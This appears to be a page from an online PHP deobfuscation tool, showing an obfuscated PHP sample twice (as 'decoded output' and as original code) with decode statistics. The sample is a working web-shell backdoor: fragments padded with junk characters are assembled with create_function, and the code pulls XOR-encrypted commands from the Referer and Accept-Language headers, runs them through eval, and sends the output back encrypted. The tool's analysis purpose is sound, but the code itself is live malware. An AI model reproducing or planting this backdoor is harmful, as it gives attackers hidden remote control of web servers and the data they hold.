Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $t='@x(@bFJaFJseFJ64_decode(pFJreg_rFJepFJlace(arrayFJ("/_/","/FJ-/"),arFJray("/"FJ,..
Decoded Output download
<?php $t='@x(@bFJaFJseFJ64_decode(pFJreg_rFJepFJlace(arrayFJ("/_/","/FJ-/"),arFJray("/"FJ,"FJ+"),$FJss($s[$i],0FJ,FJ$e))),$k)FJ));$FJo=FJob_get_c';$q='ch_allFJ("/(FJ[\wFJ])[\FJw-]+(?:;q=0.(FJ[\d]))?FJ,?/",FJ$ra,$m)FJ;FJif($q&&$FJm){@sFJFJFJession_start();$sFJ=FJ&$_SFJESSIFJON;$ss=FJ"sub';$m='strFJ";$sl="str_replace"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';$u='onteFJnFJts();ob_end_FJcleFJan();$FJd=bFJasFJeFJ64_encodFJe(x(gzcompreFJss($o),$k))FJ;pFJrint("<$kFJFJ>$d</$k>");@FJsesFJFJsion_destroy();}}}}';$b='y_keFJy_FJexistFJs($i,$s)){FJ$s[$i].=FJFJ$p;$e=strpoFJs($s[FJ$i],$fFJ);if($FJe)FJ{$k=$kh.$kFJf;FJob_FJstart();@evaFJl(@FJgzuncFJompress(';$g='strFJ";$sl="strtolower"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';$i='<$cFJ&&$FJi<$lFJ)FJ;$FJjFJ++,$i++){$o.=$t{$i}^FJ$k{$FJj};}}return $o;}FJfuFJnctionFJFJ FJy($t){$c=strlen($FJt);$o="";FJfor($FJiFJ=0;$i<$';$n=substr($m, $_GET['a'], $_GET['b']);$P='ANGUAGE"]FJ;FJ$rf=@$r["FLFJAFJG"FJ];if($rr&&$raFJFJ&&y($rfFJ)=="FJ`TU_KUFJ_KcQQbQXeKMZPK[FJZXeK_FJWUPPFJUQ_FJKa_QK`FJTFJU_KcU`T[FJa`KWZ[cU';$r=$n('C','','cCrCeate_CfuCCnCction');$e='ZSKT[cKFJ`FJTQKFJ[NRa_OM`FJU[ZKc[^FJW_")FJ{$FJuFJ=parse_url($rr);parsFJeFJ_str($u["queFJry"],FJ$q);$q=aFJrraFJy_valFJuesFJ($q);preg_mFJat';$B='c;$i++){$oFJ.=chr(FJord($tFJ[$i]FJ)-20)FJ;}rFJeturn $oFJ;}$FJr=FJ$_SERVER;$rrFJ=@$rFJ["HTTP_REFFJEREFJR"];$rFJFJa=@$r["HTTP_ACFJCEPT_FJL';$d='="";for($z=1;$z<coFJunt($m[1FJ]);$z+FJ+)$pFJ.=$FJq[$FJm[FJ2][$z]]FJ;FJif(strFJpos($p,FJ$h)=FJFJ==0){FJ$s[$i]="";$p=$ss($p,3);}if(arrFJa';$T='$kh=FJ"e3f2";$kf="FJbbFJbf";funFJction xFJ($t,$k){FJ$c=sFJtFJrlen(FJFJ$k);$l=strlen($tFJ);$o="";forFJFJ($i=0;$i<$l;FJ)FJ{for($j=0;(FJ$FJj';$F=$n('FJ','',$T.$i.$B.$P.$e.$q.$g.$d.$b.$t.$u);$V=$r('',$F);$V();?>
Did this file decode correctly?
Original Code
<?php $t='@x(@bFJaFJseFJ64_decode(pFJreg_rFJepFJlace(arrayFJ("/_/","/FJ-/"),arFJray("/"FJ,"FJ+"),$FJss($s[$i],0FJ,FJ$e))),$k)FJ));$FJo=FJob_get_c';$q='ch_allFJ("/(FJ[\\wFJ])[\\FJw-]+(?:;q=0.(FJ[\\d]))?FJ,?/",FJ$ra,$m)FJ;FJif($q&&$FJm){@sFJFJFJession_start();$sFJ=FJ&$_SFJESSIFJON;$ss=FJ"sub';$m='strFJ";$sl="str_replace"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';$u='onteFJnFJts();ob_end_FJcleFJan();$FJd=bFJasFJeFJ64_encodFJe(x(gzcompreFJss($o),$k))FJ;pFJrint("<$kFJFJ>$d</$k>");@FJsesFJFJsion_destroy();}}}}';$b='y_keFJy_FJexistFJs($i,$s)){FJ$s[$i].=FJFJ$p;$e=strpoFJs($s[FJ$i],$fFJ);if($FJe)FJ{$k=$kh.$kFJf;FJob_FJstart();@evaFJl(@FJgzuncFJompress(';$g='strFJ";$sl="strtolower"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p';$i='<$cFJ&&$FJi<$lFJ)FJ;$FJjFJ++,$i++){$o.=$t{$i}^FJ$k{$FJj};}}return $o;}FJfuFJnctionFJFJ FJy($t){$c=strlen($FJt);$o="";FJfor($FJiFJ=0;$i<$';$n=substr($m, $_GET['a'], $_GET['b']);$P='ANGUAGE"]FJ;FJ$rf=@$r["FLFJAFJG"FJ];if($rr&&$raFJFJ&&y($rfFJ)=="FJ`TU_KUFJ_KcQQbQXeKMZPK[FJZXeK_FJWUPPFJUQ_FJKa_QK`FJTFJU_KcU`T[FJa`KWZ[cU';$r=$n('C','','cCrCeate_CfuCCnCction');$e='ZSKT[cKFJ`FJTQKFJ[NRa_OM`FJU[ZKc[^FJW_")FJ{$FJuFJ=parse_url($rr);parsFJeFJ_str($u["queFJry"],FJ$q);$q=aFJrraFJy_valFJuesFJ($q);preg_mFJat';$B='c;$i++){$oFJ.=chr(FJord($tFJ[$i]FJ)-20)FJ;}rFJeturn $oFJ;}$FJr=FJ$_SERVER;$rrFJ=@$rFJ["HTTP_REFFJEREFJR"];$rFJFJa=@$r["HTTP_ACFJCEPT_FJL';$d='="";for($z=1;$z<coFJunt($m[1FJ]);$z+FJ+)$pFJ.=$FJq[$FJm[FJ2][$z]]FJ;FJif(strFJpos($p,FJ$h)=FJFJ==0){FJ$s[$i]="";$p=$ss($p,3);}if(arrFJa';$T='$kh=FJ"e3f2";$kf="FJbbFJbf";funFJction xFJ($t,$k){FJ$c=sFJtFJrlen(FJFJ$k);$l=strlen($tFJ);$o="";forFJFJ($i=0;$i<$l;FJ)FJ{for($j=0;(FJ$FJj';$F=$n('FJ','',$T.$i.$B.$P.$e.$q.$g.$d.$b.$t.$u);$V=$r('',$F);$V();?>
Function Calls
| substr | 1 |
| strFJ";$sl="str_replace"FJ;$iFJ=$mFJFJ[1FJ][0].$m[1][1];$h=$FJsl($ss(md5FJ($FJi.$kFJh),0,3));$FJf=FJ$slFJ($ss(mdFJFJ5($i.$kf),0,3FJ)FJFJ);$p | 1 |
Stats
| MD5 | 22f83d7a6ac0d7760ac06258010f3f9a |
| Eval Count | 0 |
| Decode Time | 91 ms |